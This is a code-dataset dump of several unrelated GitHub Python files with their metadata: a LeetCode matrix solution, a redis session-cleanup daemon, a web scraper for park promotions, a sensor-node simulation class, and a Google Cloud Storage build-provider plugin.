"line_number": 27, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 27, "usage_type": "attribute"}, {"api_name": "eqcatalogue.models.MagnitudeMeasure", "line_number": 28, "usage_type": "call"}, {"api_name": "eqcatalogue.models", "line_number": 28, "usage_type": "name"}, {"api_name": "eqcatalogue.models.MagnitudeMeasure", "line_number": 32, "usage_type": "call"}, {"api_name": "eqcatalogue.models", "line_number": 32, "usage_type": "name"}, {"api_name": "eqcatalogue.regression.EmpiricalMagnitudeScalingRelationship", "line_number": 37, "usage_type": "call"}, {"api_name": "eqcatalogue.regression", "line_number": 37, "usage_type": "name"}, {"api_name": "eqcatalogue.regression.LinearModel", "line_number": 39, "usage_type": "attribute"}, {"api_name": "eqcatalogue.regression", "line_number": 39, "usage_type": "name"}, {"api_name": "eqcatalogue.regression.PolynomialModel", "line_number": 40, "usage_type": "attribute"}, {"api_name": "eqcatalogue.regression", "line_number": 40, "usage_type": "name"}, {"api_name": "eqcatalogue.serializers.mpl.plot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.testing.compare.compare_images", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "11803334739", "text": "# \"\"\"\n# 73. Set Matrix Zeroes\n#\n# Given an m x n integer matrix matrix, if an element is 0, set its entire row and column to 0's.\n#\n# You must do it in place.\n#\n# Could you devise a constant time solution?\n# - This just not practical, as inputing a m x n table will cost you m x n time already\n# - They do right about O(mn) which not chalenging\n#\n# - A O(m+n) mean we only need to one round loop to find all Zero\n# Which is weird? And only happend when\n# Let say, all Zero is on one round and one column\n#\n# Also, changing all other block to Zero require one more loop. Which if the table provided is all Zero in it's diagonal, you will need to set all other m*n to Zero\n# So even the best way still need m * n time to change Matrix to Zero\n#\n# So we can only have a O(mn) time solution, Space is different story\n# - Using 2 Recorded table to store  row and column could work as O(m+n) space\n# - Using the matrix it self could do it too, just asumming that first row and Column is our recorded table\n# \"\"\"\nfrom typing import List\n\n\nclass Solution:\n    def setRecordRowZero(self, matrix, index):\n        FIRST_COLUMN_ID = 0\n        matrix[index][FIRST_COLUMN_ID] = 0\n\n    def checkRecordRowZero(self, matrix, index):\n        FIRST_COLUMN_ID = 0\n        return matrix[index][FIRST_COLUMN_ID] == 0\n\n    def setRecordColumnZero(self, matrix, index):\n        FIRST_ROW_ID = 0\n        matrix[FIRST_ROW_ID][index] = 0\n\n    def checkRecordColumnZero(self, matrix, index):\n        FIRST_ROW_ID = 0\n        return matrix[FIRST_ROW_ID][index] == 0\n\n    def setRowZero(self, matrix, rowID):\n        for currentColumn in range(len(matrix[rowID])):\n            matrix[rowID][currentColumn] = 0\n\n    def setColumnZero(self, matrix, columnID):\n        for currentRow in range(len(matrix)):\n            matrix[currentRow][columnID] = 0\n\n    def setZeroes(self, matrix: List[List[int]]) -> None:\n        # \"\"\"\n        # Do not return anything, modify matrix in-place instead.\n        # \"\"\"\n        totalRows = len(matrix)\n        totalColumn = len(matrix[0])\n\n        FIRST_ROW_ID = 0\n        FIRST_COLUMN_ID = 0\n\n        firstRowZero = False\n        firstColumnZero = False\n        # \"\"\"\n        # Here we check firstRow and firstColumn before trying to modify and using them as our recorded table\n        # \"\"\"\n        for currentColumn in range(totalColumn):\n            if matrix[FIRST_ROW_ID][currentColumn] == 0:\n                firstRowZero = True\n                break\n\n        for currentRow in range(totalRows):\n            if matrix[currentRow][FIRST_COLUMN_ID] == 0:\n                firstColumnZero = True\n                break\n        # \"\"\"\n        # We create a setRecord function each on Row and Column, to set and use the first row/column of the matrix to be our recorded table\n        # \"\"\"\n        for currentRow in range(totalRows):\n            for currentColumn in range(totalColumn):\n                if matrix[currentRow][currentColumn] == 0:\n                    self.setRecordRowZero(matrix, currentRow)\n                    self.setRecordColumnZero(matrix, currentColumn)\n\n        # \"\"\"\n        # After that, our matrix is update, here i checking with each Row, if it is recorded to be a Zero row, we update it all to 0;\n        # I specificly skip the first row, as it being use as our recorded infomation array\n        # \"\"\"\n        for currentRow in range(1, totalRows):\n            if self.checkRecordRowZero(matrix, currentRow):\n                self.setRowZero(matrix, currentRow)\n\n        # \"\"\"\n        # The same with our Column\n        # \"\"\"\n        for currentColumn in range(1, totalColumn):\n            if self.checkRecordColumnZero(matrix, currentColumn):\n                self.setColumnZero(matrix, currentColumn)\n\n        # \"\"\"\n        # In case of which we need to set our first row or column to Zero\n        # Meanning there is Zero in our first Row or Column, we sould have check and safe the infomation before hand\n        # \"\"\"\n        if firstRowZero:\n            self.setRowZero(matrix, 0)\n\n        if firstColumnZero:\n            self.setColumnZero(matrix, 0)\n", "repo_name": "ylsama/leetcode", "sub_path": "73.py", "file_name": "73.py", "file_ext": "py", "file_size_in_byte": 4085, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 51, "usage_type": "name"}]}
{"seq_id": "37147075587", "text": "#!/usr/bin/env python\n# coding=utf-8\n\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport shutil\nimport daemon\nfrom os import path\nfrom redis import StrictRedis\n\n\ndef callback(message):\n    if message['data'].startswith('sessions:'):\n        uuid = message['data'].split(':')[-1]\n        session_dir = path.join('/tmp', \"dorina-{}\".format(uuid))\n        print(\"deleting {session_dir}\".format(session_dir=session_dir))\n        if path.exists(session_dir):\n            shutil.rmtree(session_dir, ignore_errors=True)\n\n\ndef main():\n    r = StrictRedis()\n    r.config_set('notify-keyspace-events', 'Ex')\n    p = r.pubsub(ignore_subscribe_messages=True)\n    p.psubscribe(**{'__keyevent@0__:expired': callback})\n    # pop the subscribe message\n    p.get_message()\n    for message in p.listen():\n        pass\n\n\nif __name__ == \"__main__\":\n    with daemon.DaemonContext():\n        main()\n", "repo_name": "dieterich-lab/webdorina", "sub_path": "webdorina/cleanup.py", "file_name": "cleanup.py", "file_ext": "py", "file_size_in_byte": 911, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "name"}, {"api_name": "shutil.rmtree", "line_number": 18, "usage_type": "call"}, {"api_name": "redis.StrictRedis", "line_number": 22, "usage_type": "call"}, {"api_name": "daemon.DaemonContext", "line_number": 33, "usage_type": "call"}]}
{"seq_id": "23120845302", "text": "from bs4 import BeautifulSoup\r\nimport requests\r\nfrom openpyxl import workbook \r\nfrom openpyxl import load_workbook\r\nimport pandas as pd\r\n\r\nclass getcontent(object):\r\n\tdef __init__(self):\r\n\t\tself.server = 'https://www.wrs.com.sg'\r\n\t\tself.server2 = '.html'\r\n\t\tself.firstpage = 'https://www.wrs.com.sg/en/night-safari/whats-on.html'\r\n\t\tself.img = []         \r\n\t\tself.urls = []     \r\n\t\tself.title = []         \r\n\t\tself.date = []           \r\n\t\tself.types = []         #ticket Friends of Wildlife Membership Retail Purchases\r\n\t\tself.info = []\r\n\r\n\r\n#处理符号\r\n\tdef dealstr(self,str_context):\r\n\r\n\t\tstr_context = str_context.replace(\"<p>\",\"\").replace(\"<br/>\",\"\").replace(\"\\n\",\"\").replace(\"</div>\",\"\").replace(\"</p>\",\"\")\\\r\n\t\t\t\t\t\t.replace('<div class=\"content rich-text\">','').replace(\"Â\",\"\")\\\r\n\t\t\t\t\t\t.replace(\"â\",\"'\").replace(\"â\",\"'\")\\\r\n\t\t\t\t\t\t.replace(\"â\",\"-\").replace(\"â\",'\\\"').replace(\"â\",'\\\"')\\\r\n\t\t\t\t\t\t.replace('\"','\\\\\"')\r\n\t\t\r\n\t\treturn str_context\r\n\r\n\r\n\tdef get_attrictions_content(self):\r\n\r\n\r\n\r\n\t\ttarget = self.firstpage\r\n\t\treq = requests.get(url = target)\r\n\t\thtml = req.text\r\n\t\tbf = BeautifulSoup(html,'lxml')\r\n\t\tdiv1 = bf.find_all('div', class_ = 'aem-Grid aem-Grid--12 aem-Grid--default--12') \r\n\t\tdiv1_bf = BeautifulSoup(str(div1),'lxml')\r\n\t\t#Plus! Deals for NTUC Link \r\n\t\t#\r\n\t\tdiv2 = div1_bf.find_all('div', class_ = 'onecolunmcontent parsys aem-GridColumn aem-GridColumn--default--12') \r\n\t\tdiv2_bf = BeautifulSoup(str(div2),'lxml')\r\n\t\t#img\r\n\t\timg = div2_bf.find_all('img')\r\n\t\tfor each,n in zip(img,range(0,3)):\r\n\t\t\tif n == 2:\r\n\t\t\t\tself.img.append('\"img\":\"'+self.server + each.get('src') +'\"'+\",\")\r\n\t\t\t\tpass\r\n\t\t#url\r\n\t\tself.urls.append('\"url\":\"'+'https://www.wrs.com.sg/en/night-safari/whats-on.html' +'\"')\r\n\t\t#title\r\n\t\tself.title.append('\"name\": \"NTUC Link Members\",')\r\n\t\t#date\r\n\t\tdate_str = \"15 FEB - 31 AUG 2019\"\r\n\t\tself.date.append(f'\"date\": \"in {date_str}\",')\r\n\t\t#info\r\n\t\tinfo_head = '\"info\":{\\n'\r\n\t\tself.type = [\"ticket\",\"Friends of Wildlife Membership\",\"Retail Purchases\"]\r\n\t\t#li 可以用兄弟节点来处理，但是我好懒\r\n\t\tli = div2_bf.find_all('li')\r\n\t\tli_list = []\r\n\t\tcontent = \"\"\r\n\t\tfor each in li:\r\n\t\t\tli_list.append(each.string)\r\n\t\tfor type_str,n in zip(self.type,range(0,3)):\r\n\t\t\tif n == 0:\r\n\t\t\t\tli_content = self.dealstr(li_list[0]+\".\"+li_list[1]+\".\"+li_list[2]+\".\")\r\n\t\t\telse:\r\n\t\t\t\tli_content = self.dealstr(li_list[2*n+1]+\".\"+li_list[2*n+2]+\".\")\r\n\t\t\tcontent = content+'\"' + f'{type_str}' + '\":\"'+f'{li_content}' +'\",\\n'\r\n\t\tself.info.append(info_head+content[:-3]+\"\\n},\")\r\n\t\t#rest\r\n\t\t#\r\n\t\tdiv2 = div1_bf.find_all('div', class_ = 'experiencegrid parsys aem-GridColumn aem-GridColumn--default--12') \r\n\t\tdiv2_bf = BeautifulSoup(str(div2),'lxml')\r\n\t\t#name\r\n\t\th3 = div2_bf.find_all('h3',limit=2)\r\n\t\tfor h3_str in h3:\r\n\t\t\tself.title.append('\"name\": \"'+self.dealstr(h3_str.string)+'\",')\r\n\t\t#img\r\n\t\timg = div2_bf.find_all('img',limit=2)\r\n\r\n\t\tfor img_str in img:\r\n\r\n\t\t\tself.img.append('\"img\":\"'+self.server + img_str.get('src') +'\"'+\",\")\r\n\t\t#date 好懒啊笑\r\n\t\tdiv3 = div2_bf.find_all('div', class_ = 'text-section') \r\n\t\tdiv3_bf = BeautifulSoup(str(div3),'lxml')\r\n\t\tdate = div3_bf.find_all('p',class_ = 'note')\r\n\t\tdate_bf = BeautifulSoup(str(date),'lxml')\r\n\t\tfor sibling in date_bf.span.next_siblings:\r\n\t\t\tsibling_str = repr(sibling).replace('\\n','')\r\n\t\t\tself.date.append(f'\"date\": \"in {sibling_str}\",')\r\n\t\t\tself.date.append(f'\"date\": \"in {sibling_str}\",')\r\n\t\t#info\r\n\t\tdiv3 = div2_bf.find_all('div',class_=\"desc\")\r\n\t\tdiv3_bf = BeautifulSoup(str(div3),'lxml')\r\n\t\tinfo = div3_bf.find_all('p')\r\n\t\t\r\n\t\tinfo_bf = BeautifulSoup(str(info),'lxml')\r\n\t\tfor sibling in info_bf.p.next_siblings:\r\n\t\t\tif str(sibling).find('<sub>')<0 and str(sibling).find(',')<0 and str(sibling).find(']')<0 \\\r\n\t\t\tand str(sibling).find('<p></p>')<0 and str(sibling).find('[')<0:\r\n\t\t\t\tcontent = '\"'+f'{self.type[0]}'+ '\":\"' +(repr(sibling.string)) + '\"'\r\n\t\t\t\tself.info.append(info_head+content+\"\\n},\")\r\n\t\t\t\tpass\r\n\t\t#url\r\n\t\tlink = div2_bf.find_all('a',class_=\"link link-1\")\r\n\t\tfor each in  link:\r\n\t\t\tself.urls.append('\"url\":\"'+self.server + each.get('href') +'\"')\r\n\t\t#combine\r\n\r\n\t\tresult = \"\"\r\n\t\tfor n in range(0,3):\r\n\t\t\tresult = result+\"{\\n\"\r\n\t\t\tresult = result+ self.img[n] + \"\\n\"\r\n\t\t\tresult = result+ self.title[n] + \"\\n\"\r\n\t\t\tresult = result+ self.date[n] + \"\\n\"\r\n\t\t\tresult = result+ self.info[n] + \"\\n\"\r\n\t\t\tresult = result+ self.urls[n]\r\n\t\t\tresult = result+ \"\\n},\" + '\\n'\r\n\t\tprint(result)\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\r\n\tdl = getcontent()\r\n\tdl.get_attrictions_content()\r\n\r\n\r\n", "repo_name": "harry0916/NUS_Chatbot_F4", "sub_path": "SystemCode/intelligentchatrobot/src/crawler/ns_promotions.py", "file_name": "ns_promotions.py", "file_ext": "py", "file_size_in_byte": 4496, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 37, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 39, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 41, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 45, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 78, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 91, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 93, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 100, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 103, "usage_type": "call"}]}
{"seq_id": "3364309950", "text": "\r\nimport numpy as np\r\nimport config as cf\r\n\r\n\r\nclass Node(object):\r\n\r\n    def __init__(self, id, sink = False):\r\n        self.id = id\r\n\r\n        self.mode = cf.SLEEP #  state of the node\r\n\r\n        # If nodes are heterogeneous nodes, you must change the values below.\r\n        # self.data_size = cf.DATA_SIZE\r\n        self.sensing_range_s = cf.SENSING_RANGE_S\r\n        self.sensing_range_u = cf.SENSING_RANGE_U\r\n        self.communication_range = cf.COMMUNICATION_RANGE\r\n\r\n        self.energy = cf.INIT_ENERGY  # current energy\r\n        self.sensing_energy = cf.SENSING_ENERGY\r\n        self.sleep_energy = cf.SLEEP_ENERGY\r\n        self.communication_energy = cf.COMMUNICATION_ENERGY\r\n\r\n        if sink:\r\n            self.pos_x = cf.SINK_POS_X\r\n            self.pos_y = cf.SINK_POS_Y\r\n            self.energy = float('inf') # infinite energy\r\n            self.mode= cf.ACTIVE\r\n        else:\r\n            self.pos_x = np.random.uniform(0, cf.AREA_WIDTH)\r\n            self.pos_y = np.random.uniform(0, cf.AREA_LENGTH)\r\n\r\n\r\n    def set_mode(self, value):\r\n        self.mode = value\r\n\r\n    def get_mode(self):\r\n        return True if self.mode else False\r\n\r\n    def consume_energy(self):\r\n        if cf.CONNECTIVITY is False:\r\n            if self.mode == cf.ACTIVE: # active node (sesning node)\r\n                self.energy -= self.sensing_energy\r\n            else: # sleep node\r\n                self.energy -= self.sleep_energy\r\n\r\n        else:\r\n            if self.mode == cf.ACTIVE: # sensing node\r\n                self.energy -= (self.sensing_energy + self.communication_energy)\r\n\r\n            elif self.mode == cf.COMMUNICATION: # relay node\r\n                self.energy -= self.communication_energy\r\n\r\n            else: # sleep node\r\n                self.energy -= self.sleep_energy\r\n\r\n    def reset(self):\r\n        self.energy = cf.INIT_ENERGY\r\n        self.mode = cf.SLEEP\r\n\r\n    def change_position(self):  # for mobile node.....  but it is not implemented yet\r\n        self.pos_x = np.random.uniform(0, cf.AREA_WIDTH)\r\n        self.pos_y = np.random.uniform(0, cf.AREA_LENGTH)", "repo_name": "Repushed/TCS", "sub_path": "node.py", "file_name": "node.py", "file_ext": "py", "file_size_in_byte": 2081, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "config.SLEEP", "line_number": 11, "usage_type": "attribute"}, {"api_name": "config.SENSING_RANGE_S", "line_number": 15, "usage_type": "attribute"}, {"api_name": "config.SENSING_RANGE_U", "line_number": 16, "usage_type": "attribute"}, {"api_name": "config.COMMUNICATION_RANGE", "line_number": 17, "usage_type": "attribute"}, {"api_name": "config.INIT_ENERGY", "line_number": 19, "usage_type": "attribute"}, {"api_name": "config.SENSING_ENERGY", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.SLEEP_ENERGY", "line_number": 21, "usage_type": "attribute"}, {"api_name": "config.COMMUNICATION_ENERGY", "line_number": 22, "usage_type": "attribute"}, {"api_name": "config.SINK_POS_X", "line_number": 25, "usage_type": "attribute"}, {"api_name": "config.SINK_POS_Y", "line_number": 26, "usage_type": "attribute"}, {"api_name": "config.ACTIVE", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 30, "usage_type": "attribute"}, {"api_name": "config.AREA_WIDTH", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 31, "usage_type": "attribute"}, {"api_name": "config.AREA_LENGTH", "line_number": 31, "usage_type": "attribute"}, {"api_name": "config.CONNECTIVITY", "line_number": 41, "usage_type": "attribute"}, {"api_name": "config.ACTIVE", "line_number": 42, "usage_type": "attribute"}, {"api_name": "config.ACTIVE", "line_number": 48, "usage_type": "attribute"}, {"api_name": "config.COMMUNICATION", "line_number": 51, "usage_type": "attribute"}, {"api_name": "config.INIT_ENERGY", "line_number": 58, "usage_type": "attribute"}, {"api_name": "config.SLEEP", "line_number": 59, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 62, "usage_type": "attribute"}, {"api_name": "config.AREA_WIDTH", "line_number": 62, "usage_type": "attribute"}, {"api_name": "numpy.random.uniform", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 63, "usage_type": "attribute"}, {"api_name": "config.AREA_LENGTH", "line_number": 63, "usage_type": "attribute"}]}
{"seq_id": "5077683758", "text": "import datetime\nimport io\nimport logging\n\nimport apiclient\n\n\nfrom multitest_transport.models import event_log\nfrom multitest_transport.plugins import base\nfrom multitest_transport.plugins import constant\nfrom multitest_transport.plugins import file_upload_hook\nfrom multitest_transport.util import env\nfrom multitest_transport.util import errors\nfrom multitest_transport.util import file_util\nfrom multitest_transport.util import oauth2_util\n\n_PATH_DELIMITER = '/'\n_EMPTY_FOLDER_CONTENT_TYPE = 'application/x-www-form-urlencoded;charset=UTF-8'\n_GCS_API_NAME = 'storage'\n_GCS_API_VERSION = 'v1'\n_PAGE_SIZE = 10\n\nRO_SCOPES = ['https://www.googleapis.com/auth/devstorage.read_only']\nRW_SCOPES = ['https://www.googleapis.com/auth/devstorage.read_write']\n\n\ndef GetClient(credentials, scopes):\n  \"\"\"Constructs a client to access the Google Cloud Storage API.\"\"\"\n  http = apiclient.http.build_http()\n  http.timeout = constant.HTTP_TIMEOUT_SECONDS\n  http = oauth2_util.AuthorizeHttp(http, credentials, scopes=scopes)\n  return apiclient.discovery.build(\n      _GCS_API_NAME, _GCS_API_VERSION, http=http, static_discovery=False)\n\n\ndef _ParsePath(path):\n  \"\"\"Parses a path into a bucket name and an object name.\"\"\"\n  if not path:\n    return '', ''\n  parts = path.split(_PATH_DELIMITER, 1)\n  bucket = parts[0] if parts[0] else None\n  object_name = parts[1] if 1 < len(parts) else None\n  return bucket, object_name\n\n\ndef _ParseTimeStamp(timestamp):\n  \"\"\"Parse a timestamp into a datetime.datetime object.\n\n  Parse a timestamp from Cloud Storage JSON API into a datetime.datetime object\n\n  Args:\n    timestamp: Cloud Storage JSON API timestamp.\n  Returns:\n    a datetime.datetime object or None (if timestamp is None).\n  \"\"\"\n  if timestamp is None:\n    return None\n  return datetime.datetime.strptime(timestamp, '%Y-%m-%dT%H:%M:%S.%fZ')\n\n\nclass GCSBucketNotFoundError(errors.FileNotFoundError):\n  \"\"\"A Google Cloud Storage Error indicating that bucket is not supplied.\"\"\"\n\n\nclass GCSBuildProvider(base.BuildProvider):\n  \"\"\"A build channel.\n\n  A Google Cloud Storage plugin that allows user to download Android builds and\n  listing builds with pagination.\n  \"\"\"\n  name = 'Google Cloud Storage'\n  url_patterns = [\n      base.UrlPattern(\n          r'gs://(?P<bucket>.*)/(?P<path>.*)',\n          '{bucket}/{path}'),\n  ]\n  auth_methods = [\n      base.AuthorizationMethod.OAUTH2_SERVICE_ACCOUNT\n  ]\n  oauth2_config = oauth2_util.OAuth2Config(\n      client_id=env.GOOGLE_OAUTH2_CLIENT_ID,\n      client_secret=env.GOOGLE_OAUTH2_CLIENT_SECRET,\n      scopes=RO_SCOPES)\n  build_item_path_type = base.BuildItemPathType.DIRECTORY_FILE\n\n  def __init__(self):\n    super(GCSBuildProvider, self).__init__()\n    self._client = None\n\n  def _GetClient(self):\n    \"\"\"Initializes a GCS client if one was not already initialized.\"\"\"\n    if not self._client:\n      self._client = GetClient(self.GetCredentials(), RO_SCOPES)\n    return self._client\n\n  def GetOAuth2Config(self):\n    \"\"\"Provide base with params needed for OAuth2 authentication.\"\"\"\n    if not env.GOOGLE_OAUTH2_CLIENT_ID or not env.GOOGLE_OAUTH2_CLIENT_SECRET:\n      return None\n    return oauth2_util.OAuth2Config(\n        client_id=env.GOOGLE_OAUTH2_CLIENT_ID,\n        client_secret=env.GOOGLE_OAUTH2_CLIENT_SECRET,\n        scopes=RO_SCOPES)\n\n  def _GetGCSObject(self, bucket, object_name):\n    \"\"\"Get a Google Cloud Storage object from path.\n\n    Args:\n      bucket: a bucket name.\n      object_name: an object name (e.g. path/to/object.zip).\n    Returns:\n      (a response object that contains attributes for the object requested)\n    \"\"\"\n    client = self._GetClient()\n    try:\n      request = client.objects().get(bucket=bucket, object=object_name)\n      return request.execute(num_retries=constant.NUM_RETRIES)\n    except apiclient.errors.HttpError as e:\n      if e.resp.status == 403:\n        raise errors.FilePermissionError(\n            'no permission to access file %s in GCS bucket %s'\n            % (object_name, bucket))\n      if e.resp.status == 404:\n        logging.info(e)\n        return None\n      raise\n\n  def GetBuildItem(self, path=None):\n    \"\"\"Get a build item.\n\n    Args:\n      path: a path to file or directory, (e.g. path/to/file/kitten.png -> file\n      path1/path2/ -> directory)\n\n    Returns:\n      a base.BuildItem object if response is valid, otherwise, return None\n    \"\"\"\n    bucket, object_name = _ParsePath(path)\n    # If an object name is not given, return a root directory.\n    if not object_name:\n      return base.BuildItem(name='', is_file=False, path=path)\n    response = self._GetGCSObject(bucket, object_name)\n    if not response and not object_name.endswith(_PATH_DELIMITER):\n      # Because directory passed in don't have a trailing slash, need\n      # to try again with trailing slash to check if it's direcotry\n      response = self._GetGCSObject(bucket, object_name + _PATH_DELIMITER)\n    if not response:\n      return None\n    object_name = response['name']\n    is_file = not object_name.endswith(_PATH_DELIMITER)\n    # Parse an object name.\n    if is_file:\n      name = object_name.split(_PATH_DELIMITER)[-1]\n    else:\n      name = object_name[:-1].split(_PATH_DELIMITER)[-1] + _PATH_DELIMITER\n    return base.BuildItem(\n        name=name,\n        path=_PATH_DELIMITER.join([bucket, response['name']]),\n        is_file=is_file,\n        size=int(response['size']),\n        timestamp=_ParseTimeStamp(response['updated']))\n\n  def _ListGCSObjects(self, bucket, prefix, page_token=None):\n    \"\"\"List Google Storage Objects from given path.\n\n    Args:\n      bucket: a bucket name.\n      prefix: an object name prefix.\n      page_token: an optional page token.\n    Returns:\n      (a response object containing information about the list of objects)\n    Raises:\n      GCSBucketNotFoundError\n    \"\"\"\n    client = self._GetClient()\n    try:\n      return client.objects().list(\n          bucket=bucket,\n          delimiter=_PATH_DELIMITER,\n          maxResults=_PAGE_SIZE,\n          prefix=prefix,\n          pageToken=page_token).execute(num_retries=constant.NUM_RETRIES)\n    except apiclient.errors.HttpError as e:\n      if e.resp.status == 403:\n        raise errors.FilePermissionError('no permission to access GCS bucket %s'\n                                         % bucket)\n      if e.resp.status == 404:\n        raise GCSBucketNotFoundError('bucket %s does not exist' % bucket) from e\n      raise\n\n  def ListBuildItems(self, path=None, page_token=None, item_type=None):\n    \"\"\"List build items under a given path.\n\n    Args:\n      path: a build item path (e.g. bucket/git_master/taimen-userdebug).\n      page_token: an optional page token.\n      item_type: a type of build items to list. Returns all types if None.\n    Returns:\n      (a list of base.BuildItem objects, the next page token)\n    \"\"\"\n    if path and not path.endswith(_PATH_DELIMITER):\n      path = path + _PATH_DELIMITER\n    bucket, object_name = _ParsePath(path)\n    response = self._ListGCSObjects(bucket, object_name, page_token)\n    build_items = []\n    directory_prefixes = response.get('prefixes', [])\n    items = response.get('items', [])\n    prefix_len = len(object_name) if object_name else 0\n\n    if not item_type or item_type == base.BuildItemType.DIRECTORY:\n      for directory_prefix in directory_prefixes:\n        build_items.append(\n            base.BuildItem(\n                name=directory_prefix[prefix_len:],\n                path=_PATH_DELIMITER.join([bucket, directory_prefix]),\n                is_file=False,\n                size=None,\n                timestamp=None))\n    if not item_type or item_type == base.BuildItemType.FILE:\n      for item in items:\n        if item['contentType'] == _EMPTY_FOLDER_CONTENT_TYPE:\n          continue\n        item_name = item['name'][prefix_len:]\n        if not item_name:\n          continue\n        build_items.append(\n            base.BuildItem(\n                name=item_name,\n                path=_PATH_DELIMITER.join([bucket, item['name']]),\n                is_file=True,\n                size=int(item['size']),\n                timestamp=_ParseTimeStamp(item['updated'])))\n    next_page_token = response.get('nextPageToken')\n    return (build_items, next_page_token)\n\n  def _CreateMediaDownloader(self, bucket, object_name, fh, chunk_size, offset):\n    \"\"\"Create a media downloader.\"\"\"\n    client = self._GetClient()\n    request = client.objects().get_media(bucket=bucket, object=object_name)\n    downloader = apiclient.http.MediaIoBaseDownload(\n        fh, request, chunksize=chunk_size)\n    downloader._progress = offset  \n    return downloader\n\n  def DownloadFile(self, path, offset=0):\n    \"\"\"Download file from remote GCS.\n\n    Args:\n      path: a build item path (e.g. aa5/abc/bla/kitten.png)\n      offset: byte offset to read from\n    Yields:\n      FileChunks (data read, current position, total file size)\n    Raises:\n      errors.FileNotFoundError: if a path is invalid\n    \"\"\"\n    build_item = self.GetBuildItem(path)\n    if (build_item is None) or (not build_item.is_file):\n      raise errors.FileNotFoundError('Build item %s does not exist' % path)\n\n    bucket, object_name = _ParsePath(path)\n    buffer_ = io.BytesIO()\n    downloader = self._CreateMediaDownloader(\n        bucket, object_name, buffer_, constant.DEFAULT_CHUNK_SIZE, offset)\n    done = False\n    while not done:\n      status, done = downloader.next_chunk(num_retries=constant.NUM_RETRIES)\n      yield file_util.FileChunk(\n          data=buffer_.getvalue(),\n          offset=status.resumable_progress,\n          total_size=status.total_size)\n      buffer_.seek(0)\n      buffer_.truncate()\n\n\nclass GCSFileUploadHook(file_upload_hook.AbstractFileUploadHook):\n  \"\"\"Hook which uploads files to Google Cloud Storage.\"\"\"\n  name = 'Google Cloud Storage File Upload'\n  oauth2_config = oauth2_util.OAuth2Config(\n      client_id=env.GOOGLE_OAUTH2_CLIENT_ID,\n      client_secret=env.GOOGLE_OAUTH2_CLIENT_SECRET,\n      scopes=RW_SCOPES)\n\n  def __init__(self,\n               _credentials=None,\n               file_pattern=None,\n               upload_prefix=None,\n               **_):  \n    super(GCSFileUploadHook, self).__init__(\n        file_pattern=file_pattern, upload_prefix=upload_prefix)\n    self._client = None\n    self._credentials = _credentials\n\n  def _GetClient(self):\n    \"\"\"Initializes a GCS client if one was not already initialized.\"\"\"\n    if not self._client:\n      self._client = GetClient(self._credentials, RW_SCOPES)\n    return self._client\n\n  def UploadFile(self, test_run, source_url, dest_file_path):\n    \"\"\"Uploads a file to GCS.\"\"\"\n    client = self._GetClient()\n    file_handle = file_util.FileHandle.Get(source_url)\n    media = file_util.FileHandleMediaUpload(\n        file_handle, chunksize=constant.UPLOAD_CHUNK_SIZE, resumable=True)\n\n    bucket, object_name = _ParsePath(dest_file_path)\n    request = client.objects().insert(\n        bucket=bucket, name=object_name, media_body=media)\n    done = False\n    while not done:\n      _, done = request.next_chunk(num_retries=constant.NUM_RETRIES)\n    event_log.Info(test_run,\n                   '[GCS] Uploaded %s to %s.' % (source_url, dest_file_path))\n", "repo_name": "maksonlee/multitest_transport", "sub_path": "multitest_transport/plugins/gcs.py", "file_name": "gcs.py", "file_ext": "py", "file_size_in_byte": 11092, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "apiclient.http.build_http", "line_number": 29, "usage_type": "call"}, {"api_name": "apiclient.http", "line_number": 29, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.constant.HTTP_TIMEOUT_SECONDS", "line_number": 30, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.constant", "line_number": 30, "usage_type": "name"}, {"api_name": "multitest_transport.util.oauth2_util.AuthorizeHttp", "line_number": 31, "usage_type": "call"}, {"api_name": "multitest_transport.util.oauth2_util", "line_number": 31, "usage_type": "name"}, {"api_name": "apiclient.discovery.build", "line_number": 32, "usage_type": "call"}, {"api_name": "apiclient.discovery", "line_number": 32, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 58, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 58, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.errors.FileNotFoundError", "line_number": 61, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.errors", "line_number": 61, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.BuildProvider", "line_number": 65, "usage_type": "attribute"}, {"api_name": 